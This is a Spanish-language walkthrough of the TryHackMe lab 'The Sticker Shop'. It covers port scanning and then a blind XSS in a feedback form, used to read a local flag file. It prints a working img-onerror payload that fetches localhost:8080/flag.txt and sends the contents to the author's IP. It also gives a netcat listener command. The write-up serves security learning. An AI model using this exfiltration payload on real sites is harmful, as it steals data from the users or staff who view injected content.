The Sticker Shop THM Writeup

Introducción
Estas son las características de esta máquina de TryHackMe llamada The Sticker Shop:
- Plataforma: TryHackMe
- Máquina: The Sticker Shop
- Dificultad: Easy
- Categoría: Web
Enunciado
Su tienda local de pegatinas finalmente ha desarrollado su propia página web. No tienen demasiada experiencia con respecto al desarrollo web, por lo que decidieron desarrollar y alojar todo en la misma computadora que utilizan para navegar por Internet y mirar los comentarios de los clientes. ¡Muy inteligente!
¿Puedes leer la bandera en http://MACHINE_IP:8080/flag.txt?
Reconocimiento
Para el reconocimiento vamos a hacer un escaneo rápido de puertos a la ip de la máquina.
nmap -F 10.129.180.138

Como podemos ver después del escaneo rápido de puertos, vemos que tenemos dos puertos principales abiertos, el 22 para el ssh y el 8080 que dice que es un http-proxy, con lo cual vamos a probar a entrar en nuestro navegador y ver que nos da con la ip seguida del 8080

Como podemos ver no tiene apartado de cesta ni para comprar, además pone “We only sell stickers at our physical store. Please feel free to stop by!” pero veo que en la parte de arriba pone feedback:

Al acceder podemos ver que tiene un formulario, probablemente este sea el punto de ataque para vulnerar esta máquina.

Además de todo esto, vamos a probar a acceder a la flag directamente con la URL que nos da el enunciado:

Como era de esperar, no tengo acceso.
Identificación de la vulnerabilidad
Okey, después del reconocimiento hemos encontrado un formulario, así que vamos a investigar cómo podemos utilizarlo para vulnerar esta máquina.
Para ello vamos a ver qué ocurre cuando enviamos el formulario, para interceptar esta petición usaremos Burp Suite.

Al enviarlo vemos que nos sale este mensaje de que ya se ha enviado el formulario.

Y en Burp Suite podemos ver ese envío de información:

Viendo que el campo de feedback probablemente se muestre sin sanitizar en algún panel interno (el que revisa el staff o admin o quien sea), supongo que podía ser vulnerable a XSS. Si logro inyectar JavaScript ahí, se ejecutaría en el navegador de quien lo revise, y eso podría serme útil.
Y aquí está la clave de la pista del enunciado: “alojan todo en el mismo ordenador que utilizan para navegar por Internet”. Eso significa que el navegador que revisa el feedback corre en la misma máquina que el servidor web, por lo que tiene acceso directo a http://127.0.0.1:8080/flag.txt. Si consigo que ese navegador ejecute un script que lea esa URL y me mande el resultado, me llegaría la flag sin necesidad de acceso directo a la máquina.
Explotación
Sabiendo esto, voy a crear un payload que, al ejecutarse en el navegador de la máquina, lea la flag desde localhost:8080/flag.txt (a la que solo esa máquina tiene acceso) y me la envíe a mí mediante una petición a un servidor, que en este caso será mi máquina usando NetCat.
<img src=x onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r=>r.text()).then(d=>fetch('http://192.168.134.213:8000/?data='+d))">
Resumidamente lo que hace este payload es lo siguiente:
<img src=x onerror="...">: hace que tenga un error de carga de imagen, para que ejecute el JavaScript dentro deonerror, saltándose filtros básicos que bloquean<script>.fetch('http://127.0.0.1:8080/flag.txt'): hace que el navegador de la víctima pida la flag, porque al final es lo que quiero..then(r=>r.text()): convierte la respuesta en texto plano para poder leerlo básicamente..then(d=>fetch('http://192.168.134.213:8000/?data='+d)): envía ese texto a mi propia IP, metiéndolo como parámetro en la URL.
Pero para que ese payload funcione, necesito levantar el listener para que escuche la información que nos envíe, para eso voy a usar netcat.
nc -lnvp 8000

Envío el formulario con este payload en el campo de feedback, y al poco tiempo recibo la conexión con la flag directamente en la query string:

Obtención de la flag
Y con esto ya tenemos la flag de esta máquina, la cual le hemos sacado al servidor haciendo que nos la envíe a nuestra ip gracias a la inyección de código
